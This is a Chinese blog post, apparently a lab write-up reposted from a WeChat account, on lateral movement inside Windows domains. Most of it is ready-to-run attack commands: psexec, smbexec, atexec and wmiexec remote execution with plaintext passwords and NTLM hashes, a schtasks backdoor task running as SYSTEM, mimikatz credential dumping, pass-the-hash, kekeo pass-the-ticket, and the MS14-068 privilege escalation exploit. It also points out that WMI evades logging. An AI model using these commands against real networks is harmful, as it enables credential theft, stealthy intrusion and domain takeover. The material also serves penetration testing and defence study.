内网横向知识

admin 2022年7月18日09:52:31评论85 views字数 4644阅读15分28秒阅读模式

0x00 利用 SMB 来进行横向移动

smbexec 可以通过文件共享在运程系统中执行命令。对方主机需要开启 c$ 共享,依赖于 445 端口。

psexec

简介

psexec 是 windows 下非常好的一款远程命令行工具。psexec 的使用不需要对方主机开放 3389 端口,只需要对方开启 admin$ 共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。可以直接得到shell会话。

基本原理

  • 通过 ipc$ 连接 admin$,释放二进制文件 psexecsvc.exe 到目标;

  • 通过服务管理 SCManager 远程创建一个 psexec 服务,并启动服务;

  • 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据;

  • 运行结束后删除服务。

使用前提

  • 对方主机开启了 admin$ 共享。如果关闭了admin$ 共享,会提示:找不到网络名;

  • 对方未开启防火墙;

  • 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。

  • 如果是域环境,可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

具体的例子

需要建立 IPC 连接

#psexec第一种:先有ipc链接,psexec需要明文或hash传递#建立ipc链接net use \10.10.10.10ipc$ "hongrisec@2022" /user:administrator(比较快)或者net use \10.10.10.10ipc$ "hongrisec@2022" /user:de1ay.comadministrator(比较慢)#查看ipc连接net use#需要先有ipc链接 -s以System权限运行psexec \10.10.10.10 -s cmd#删除ipc连接net use \10.10.10.10ipc$ /del

内网横向知识

内网横向知识

不需要建立 IPC 连接

#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)#如果是使用明文的话只能使用PSTools里面的psexec,psexec \10.10.10.10 -u administrator -p hongrisec@2022 -s cmd#如果使用哈希值的话只能使用impacket里面的psexec。psexec -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) ./administrator@10.10.10.10

内网横向知识

内网横向知识

MSF 中的 psexec

常用的是以下两个模块

exploit/windows/smb/ms17_10_psexecexploit/windows/smb/psexec

由于 powershell 是在 win2008(2008年发布的,win7是2009年发布的)及以上版本自带的,但是 win2003 及以下的版本并不自带 powershell,所以对于低版本只能使用 msf 中的 psexec 生成的 exe 进行横向移动。


smbexec

简介

smbexec 不需要先 ipc 链接,可以进行明文或者 hash 传递。可以直接得到 shell会话。

例子

smbexec de1ay.com/administrator:hongrisec@2022@10.10.10.10

内网横向知识

smbexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator:administrator@10.10.10.10

内网横向知识


0x01 利用windows服务来进行横向移动

schtasks

简介

利用 windows 服务进行横向渗透主要是通过 schtasks 命令,但是注意这里跟之前 windows 远程命令相比多了一个条件,即当前主机需要为 administrator 权限。schtasks 命令是 XP 系统中功能强大的 DOS 命令,SC 命令能与“服务控制器”和已安装设备进行通讯。schtasks 是用于与服务控制管理器和服务进行通信的命令行程序。如果是低版本的 windows 的话,就需要使用 at 命令。

例子

#与靶机建立ipc连接net use \10.10.10.10ipc$ "hongrisec@2022" /user:administrator(比较快)或者net use \10.10.10.10ipc$ "hongrisec@2022" /user:de1ay.comadministrator(比较慢)#拷贝exe到主机系统上copy C:houmen.bat \10.10.10.10c$#创建adduser任务对应执行文件schtasks /create /s 10.10.10.10 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:houmen.bat /F#运行adduser任务schtasks /run /s 10.10.10.10 /tn adduser /i #删除adduser任务schtasks /delete /s 10.10.10.10 /tn adduser /f


0x02 利用atexec来进行横向移动

简介

通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。只能执行命令,不能直接得到shell会话。

例子

明文密码

atexec.exe de1ay.com/administrator(用户名):hongrisec@2022(密码)@10.10.10.10(目标ip地址) "whoami"

内网横向知识

NTLM值

atexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) de1ay.com/administrator@10.10.10.10(目标ip地址) "whoami"

内网横向知识


0x03 利用WMI服务来进行横向移动

Windows 操作系统默认不会将 WMI 的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致 WMI 具有极高的隐蔽性。由此,越来越多的 APT 开始使用 WMI 进行攻击,利用 WMI 可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

系统自带的wmic

简介

无回显。不能直接得到 shell 会话。

例子

查询进程信息

wmic /node:10.10.10.10 /user:de1ay.comadministrator /password:hongrisec@2022 process list brief

内网横向知识

创建远程进程

wmic /node:10.10.10.10 /user:de1ay.comadministrator /password:hongrisec@2022 process call create "cmd.exe /c ipconfig > C:ipconfig.txt"

内网横向知识

使用type命令查看type \10.10.10.10c$ipconfig.txt

内网横向知识

系统自带cscript

简介

明文传递,有回显。但是需要 vmiexec.vbs。

下载地址:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

能直接得到 shell 会话。

例子

cscript //nologo wmiexec.vbs /shell 10.10.10.10 administrator hongrisec@2022
内网横向知识

如果出现拒绝访问的情况,可以尝试在注册表中,对以下两个值删除掉,然后重启电脑。

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Script HostSettingsHKEY_CURRENT_USERSoftwareMicrosoftWindows Script HostSettings

impacket 的 wmiexec

简介

有回显,明文或者 hash 传递。不能直接得到 shell 会话。

命令

明文wmiexec de1ay.com/administrator:hongrisec@2022@10.10.10.10 "ipconfig"

内网横向知识

hashwmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/[email protected] "ipconfig"

内网横向知识


0x04 使用 mimikatz 来进行横向移动

PTH

简介

当获取到域内一个主机的权限之后,可以使用 mimikatz 运行 sekurlsa::logonPasswords 命令获取其 LM 和 NTLM。服务器系统在 Windows 2003 以后,认证方式均为 NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是 NTLM 数据。

例子

mimikatzprivilege::debug

内网横向知识

获取administrator的NTLM值sekurlsa::logonPasswords

内网横向知识

进行哈希传递攻击sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5

内网横向知识

PTT

利用工具kekeo

首先删除原有的票据,在kekeo或者mimikatz都可以运行kerberos::purge查看票据,普通的cmd运行klist

内网横向知识

生成票据,普通的cmd运行kekeo "tgt::ask /user:administrator /domain:de1ay.com /ntlm:8c535a2d84c3b21059d667639bb89db5"

内网横向知识

导入票据,kekeo里面运行kerberos::ptt TGT_administrator@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi

内网横向知识

查看票据,有且只有刚刚导入的一张票据,普通的cmd就可以运行klist

内网横向知识

进行利用,普通的cmd就可以运行dir \10.10.10.10c$

内网横向知识

利用漏洞ms14068

ms14-068,powershell 执行,能实现普通用户直接获取域控 system 权限。

首先清除票据mimikatzkerberos::purge查看票据,普通的cmd运行klist

内网横向知识

查看当前sidwhoami/user

内网横向知识

利用ms14-068生成TGT票据MS14-068.exe -u 普通域用户名@域名 -s 普通域用户SID -d 域控制器地址 -p 普通域用户名对于的密码MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p 1qaz@WSX

内网横向知识

票据注入内存mimikatz.exe "kerberos::ptc TGT_de1ay@de1ay.com.ocache" exit但是这里注入失败了,正确来讲应该是成功的,有可能是我环境的原因
这里借用下别人成功的过程

内网横向知识



- End -

点击下方名片,发送“交流”可加入交流群

原文始发于微信公众号(NS Demon团队):内网横向知识

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日09:52:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网横向知识https://cn-sec.com/archives/1183425.html

发表评论

匿名网友 填写信息